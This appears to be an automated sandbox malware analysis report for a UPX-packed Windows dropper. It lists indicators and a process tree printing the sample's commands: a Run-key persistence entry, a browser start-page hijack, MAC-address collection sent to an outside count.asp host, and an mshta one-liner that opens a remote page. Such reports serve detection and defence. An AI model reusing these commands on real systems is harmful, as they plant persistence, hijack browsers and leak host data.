d3aceee88f292e6bc52b4fe8eb9de669fe612e62ed4717ef05aaaf6eea29c569

Analysis

max time kernel
94s
max time network
168s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
07/01/2024, 19:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ac9268cb2641b313f7460ce40169e59b.exe
Size

5KB
MD5

ac9268cb2641b313f7460ce40169e59b
SHA1

e32b781c7d15cd0e1354edd4e488e2750706e278
SHA256

d3aceee88f292e6bc52b4fe8eb9de669fe612e62ed4717ef05aaaf6eea29c569
SHA512

7b31c764279a959830c02a65fad81a1bcbfb8e41a6c00dcc8d68a0d6b925d782c73b8474f3e9ed1ec6e31801400886136dca459956e9201c45e83ad14c41d41f
SSDEEP

96:vfycZ+ALBd3vJEtPsCZIB2oPRGHzb7v1JydcRxN:ny2tLHR4sCOD8HD117N

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://chaliang.115ku.cn/1261/yahooo.htm%22,0%29%28window.close%29

Signatures

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1088-0-0x0000000000400000-0x0000000000408000-memory.dmp	upx
behavioral1/memory/1088-125-0x0000000000400000-0x0000000000408000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\pop = "C:\\Windows\\Registration\\runauto.vbs"	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	mshta.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Registration\svchost.bat	cmd.exe
File created	C:\Windows\Registration\runauto.vbs	cmd.exe
File opened for modification	C:\Windows\Registration\runauto.vbs	cmd.exe
File created	C:\Windows\Registration\internet.bat	cmd.exe
File opened for modification	C:\Windows\Registration\r.vbs	cmd.exe
File opened for modification	C:\Windows\Registration\internet.vbs	cmd.exe
File created	C:\Windows\Registration\svchost.bat	cmd.exe
File opened for modification	C:\Windows\Registration\Registration\svchost.bat	cmd.exe
File created	C:\Windows\Registration\internet.vbs	cmd.exe
File opened for modification	C:\Windows\Registration\internet.bat	cmd.exe
File created	C:\Windows\Registration\r.vbs	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
812	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002213d23592f6d648a137f9bf65c22cfa0000000002000000000010660000000100002000000089c63ecbc3d5960beae54751586b3efc660b6f468274121368536569b425180e000000000e8000000002000020000000edb96ae55e08ad1a0f23384986b64cd9bd2c07af4ce28e3cc99bb909880860ea9000000010a7a258c246f550213cc08b0f9cd80d37345563a83e4393e22af67a48beda1d339b07162a72b357a12785a4dc34784a1e1699b69cca6ea0ddbffb385df2f890d2803af0c9215983b68142de94d233e7abcd5d78201f863a95702137fb5804ea5d561b4fa16e64959d7ff5f1dee705136b36f8792bf9c830a8a5a302a011237474b30b205f2e963d8fa21a68000dcd9f400000008c1238a810b050dca5ebfceeedf3105fbff1ab3a17e8cd0725fc67f2ccf4241f8e566f8c91056b824a4a14994f6419ddd138d6488b847be2cdb067a51c68508f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "410816834"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{2F6ADDE1-AD91-11EE-A508-CEEF1DCBEAFA} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 40c4df059e41da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{2F687C81-AD91-11EE-A508-CEEF1DCBEAFA} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002213d23592f6d648a137f9bf65c22cfa000000000200000000001066000000010000200000001f321d681ddc59337c1735923a084c8c3217ca28497c879e18214ef11dfb237d000000000e800000000200002000000077241a3661c7b4ca734385b36d2a63905302f8bdc8000e9d2e31c48f6216b22920000000181ef63baa4fa321278b31064ca2c58a339677980e029d033cadbbd50fac55024000000060165479945bbbfe3cca7b39fcf34d6755788e97dde00779092d810ea2af3ab694e72a692abd276813c89e636cd96aaa1e1dc8c0bbd5b1ec1706b55a9ad08a2e	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "http://www.115ku.com/?1261/"	reg.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command	regedit.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2628	reg.exe

Runs .reg file with regedit 2 IoCs

pid	Process
2576	regedit.exe
1932	regedit.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2420	iexplore.exe
340	iexplore.exe
2952	iexplore.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2420	iexplore.exe
2420	iexplore.exe
340	iexplore.exe
340	iexplore.exe
544	IEXPLORE.EXE
544	IEXPLORE.EXE
2900	IEXPLORE.EXE
2900	IEXPLORE.EXE
2952	iexplore.exe
2952	iexplore.exe
1340	IEXPLORE.EXE
1340	IEXPLORE.EXE
1340	IEXPLORE.EXE
1340	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1088 wrote to memory of 1652	1088	ac9268cb2641b313f7460ce40169e59b.exe	28
PID 1088 wrote to memory of 1652	1088	ac9268cb2641b313f7460ce40169e59b.exe	28
PID 1088 wrote to memory of 1652	1088	ac9268cb2641b313f7460ce40169e59b.exe	28
PID 1088 wrote to memory of 1652	1088	ac9268cb2641b313f7460ce40169e59b.exe	28
PID 1652 wrote to memory of 2628	1652	cmd.exe	30
PID 1652 wrote to memory of 2628	1652	cmd.exe	30
PID 1652 wrote to memory of 2628	1652	cmd.exe	30
PID 1652 wrote to memory of 2628	1652	cmd.exe	30
PID 1652 wrote to memory of 2576	1652	cmd.exe	31
PID 1652 wrote to memory of 2576	1652	cmd.exe	31
PID 1652 wrote to memory of 2576	1652	cmd.exe	31
PID 1652 wrote to memory of 2576	1652	cmd.exe	31
PID 1652 wrote to memory of 2600	1652	cmd.exe	32
PID 1652 wrote to memory of 2600	1652	cmd.exe	32
PID 1652 wrote to memory of 2600	1652	cmd.exe	32
PID 1652 wrote to memory of 2600	1652	cmd.exe	32
PID 1652 wrote to memory of 2624	1652	cmd.exe	33
PID 1652 wrote to memory of 2624	1652	cmd.exe	33
PID 1652 wrote to memory of 2624	1652	cmd.exe	33
PID 1652 wrote to memory of 2624	1652	cmd.exe	33
PID 1652 wrote to memory of 1932	1652	cmd.exe	34
PID 1652 wrote to memory of 1932	1652	cmd.exe	34
PID 1652 wrote to memory of 1932	1652	cmd.exe	34
PID 1652 wrote to memory of 1932	1652	cmd.exe	34
PID 1652 wrote to memory of 468	1652	cmd.exe	35
PID 1652 wrote to memory of 468	1652	cmd.exe	35
PID 1652 wrote to memory of 468	1652	cmd.exe	35
PID 1652 wrote to memory of 468	1652	cmd.exe	35
PID 468 wrote to memory of 812	468	cmd.exe	36
PID 468 wrote to memory of 812	468	cmd.exe	36
PID 468 wrote to memory of 812	468	cmd.exe	36
PID 468 wrote to memory of 812	468	cmd.exe	36
PID 468 wrote to memory of 700	468	cmd.exe	37
PID 468 wrote to memory of 700	468	cmd.exe	37
PID 468 wrote to memory of 700	468	cmd.exe	37
PID 468 wrote to memory of 700	468	cmd.exe	37
PID 1652 wrote to memory of 3008	1652	cmd.exe	38
PID 1652 wrote to memory of 3008	1652	cmd.exe	38
PID 1652 wrote to memory of 3008	1652	cmd.exe	38
PID 1652 wrote to memory of 3008	1652	cmd.exe	38
PID 1652 wrote to memory of 2120	1652	cmd.exe	39
PID 1652 wrote to memory of 2120	1652	cmd.exe	39
PID 1652 wrote to memory of 2120	1652	cmd.exe	39
PID 1652 wrote to memory of 2120	1652	cmd.exe	39
PID 3008 wrote to memory of 2420	3008	WScript.exe	40
PID 3008 wrote to memory of 2420	3008	WScript.exe	40
PID 3008 wrote to memory of 2420	3008	WScript.exe	40
PID 3008 wrote to memory of 2420	3008	WScript.exe	40
PID 3008 wrote to memory of 340	3008	WScript.exe	41
PID 3008 wrote to memory of 340	3008	WScript.exe	41
PID 3008 wrote to memory of 340	3008	WScript.exe	41
PID 3008 wrote to memory of 340	3008	WScript.exe	41
PID 2420 wrote to memory of 544	2420	iexplore.exe	42
PID 2420 wrote to memory of 544	2420	iexplore.exe	42
PID 2420 wrote to memory of 544	2420	iexplore.exe	42
PID 2420 wrote to memory of 544	2420	iexplore.exe	42
PID 340 wrote to memory of 2900	340	iexplore.exe	43
PID 340 wrote to memory of 2900	340	iexplore.exe	43
PID 340 wrote to memory of 2900	340	iexplore.exe	43
PID 340 wrote to memory of 2900	340	iexplore.exe	43
PID 2120 wrote to memory of 2952	2120	mshta.exe	44
PID 2120 wrote to memory of 2952	2120	mshta.exe	44
PID 2120 wrote to memory of 2952	2120	mshta.exe	44
PID 2120 wrote to memory of 2952	2120	mshta.exe	44

C:\Users\Admin\AppData\Local\Temp\ac9268cb2641b313f7460ce40169e59b.exe
"C:\Users\Admin\AppData\Local\Temp\ac9268cb2641b313f7460ce40169e59b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1088
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\259437977.bat
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\SysWOW64\reg.exe
    reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v pop /t REG_SZ /d C:\Windows\Registration\runauto.vbs /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:2628
- - C:\Windows\SysWOW64\regedit.exe
    Regedit /s tem.reg
    3⤵
    - Modifies registry class
    - Runs .reg file with regedit
    PID:2576
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.115ku.com/?1261/ /f
    3⤵
    - Modifies Internet Explorer settings
    - Modifies Internet Explorer start page
    PID:2600
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
    3⤵
    PID:2624
- - C:\Windows\SysWOW64\regedit.exe
    Regedit /s gai.reg
    3⤵
    - Runs .reg file with regedit
    PID:1932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ipconfig /all|findstr /c:"Physical Address"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:468
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:812
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /c:"Physical Address"
      4⤵
      PID:700
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Windows\Registration\r.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/1261/count.asp?mac= 00:00:00:00:00:00:00:E0&os=Windows_NT&ver=12610523
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2420
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2420 CREDAT:275457 /prefetch:2
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:544
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/zongtai/count.asp?mac= 00:00:00:00:00:00:00:E0&os=Windows_NT&ver=12610523
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:340
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:340 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2900
- - C:\Windows\SysWOW64\mshta.exe
    mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://chaliang.115ku.cn/1261/yahooo.htm",0)(window.close)
    3⤵
    - Enumerates connected drives
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:2120
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/1261/yahooo.htm
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2952
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2952 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
4d67fd9b3cbd3e765df8c1e3c2968482

SHA1
1751d701f37a17ce1612881ea312db3a74730700

SHA256
d941777f54c69a3ed859dbc4fe179ff48a0ad43d15ad7f1a511d17ec015dcd2c

SHA512
9a13d54d09afdf5123c16c9dd0fff932e293945c01738ca6c8a30f818813d41f83f1d4e22eeb15b59b8cdd4dce106c36191a5e1d29f7329e0fbbe6a6525a8645

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
bbaa15cd306f624648e5cf42c02d6c65

SHA1
a6ee0201ae0d949a4841e6d317a07944f0c472ad

SHA256
50dbe7f238ac941903e9e744145acd2141452e7653711b439f8a041b92a95752

SHA512
878ffd8e70d58a1dbb70a7091445e9a06198d04d07ecfd9721b119450676053c46b850f1f43f7d37b0020f03aa39389cb3acd047e64dfac418a9c32ab6a55465

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
182b49c75ad427c0a976edb2750fb44d

SHA1
1b1575585a7919056c5e0b68510fd3a336e50d1e

SHA256
68ea6c10f9e30580a91164364df98397f73fbcb036b89d18778cd7bb563b480d

SHA512
2362cf17427e052995695ceda6f4fb0496c923849efa98881d4b2cf52203e166a583e5e749fad92c9bb19cc1aacfbd881c4d9bef034ea78c0f73b04b512d2b2a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a30b506f0473a2e62d6ce6bfeced4c75

SHA1
d5aa6dc7f4f5981b55c48a30bbd832db1e785ac4

SHA256
077a13f4ce009e6a9a4183e34a4d5d482077126fc1a9692581dee634c583002b

SHA512
873e83ed5d47a5b6d33d95cd395f399217698d6c56cd268b4e96919232e637a9b4374a85d993cb6828e94e7057373061673760d1c13ea8dc2d833cd1cef20c5f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ee4d1a9361bd37fdc4c9d64a26344114

SHA1
cd174253794b08626470611116b61d85d468919c

SHA256
4d386fbcef0d340df806039c6984ec2d42c7477e14c49dd59ebc335aca21041e

SHA512
4320897d03ab569a6812546a1a70793d7909bf9664fe498f14341d1d5125d395fc1aced1fab46bfcea6000891d37eda9deeda9bfe7b913c00adffab02415f2d2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
0151f847044527a12f2e38666419ccd8

SHA1
014c562877cfdcb640d2694ce4d67e33c451f948

SHA256
8f5e61864c59bc653f586803581c36c375fb445bdd3aa6671a575c35fba698f4

SHA512
1efec1650ecaaff1ce1a255087866d00ec90893cb7866b771c205941fddf4dcaf329da739649ba22fc8ee739dbd7916db801cd9f58b684bcb5ee877b25d0e742

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
79f7a9df70a236d0d60498aa7f78e20a

SHA1
46e2ee8fb1af526a28eef4b13f03a9e3bcdeb39d

SHA256
1be02e0703bc2eae194edbc9b2453c708f58b27f839463045087a2dae28ed98b

SHA512
d665e9ad34e2696b5a50bc3eee792c02ab8d9e00e31adfba4e6bb8929c09e49f277982e306c9b203249a575a5501beb0acdf58c337a336b69919311f4d40688c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
7c7702c86ea439d2d6c4756c9b9a6e6c

SHA1
5eb7fd5867571feebe0058aa3439d20ec8a9d933

SHA256
f5b14b2d35171fc544dc7131062eb16d689906ddc589cc99d10f7278c94717da

SHA512
78bd95bf47a64becec5215d13e480ad6fbb833e175e1d78e497040df8ee8422080e81fb0cc2b00ca5b396b197f6f59cfbf8cddc7a4489400e0e34cbadab33ed4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
9d5d405cfabaa173ca934eb98e894b54

SHA1
2fcc21383d739f0a5eb256ec6f83a7e2f0da7d60

SHA256
195e8ff07baa2daddda36b6a6719573ecc1d29bbd1d4a0c06fb5f0d2c000f6e2

SHA512
fed13e3d77e1ea657e61ef91ab732831d677f2382d65637e94506c77554ede962ed290dbb15baf2376a0e3567f0cafb5faafa7aedd28cd730caa31cbf7386378

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
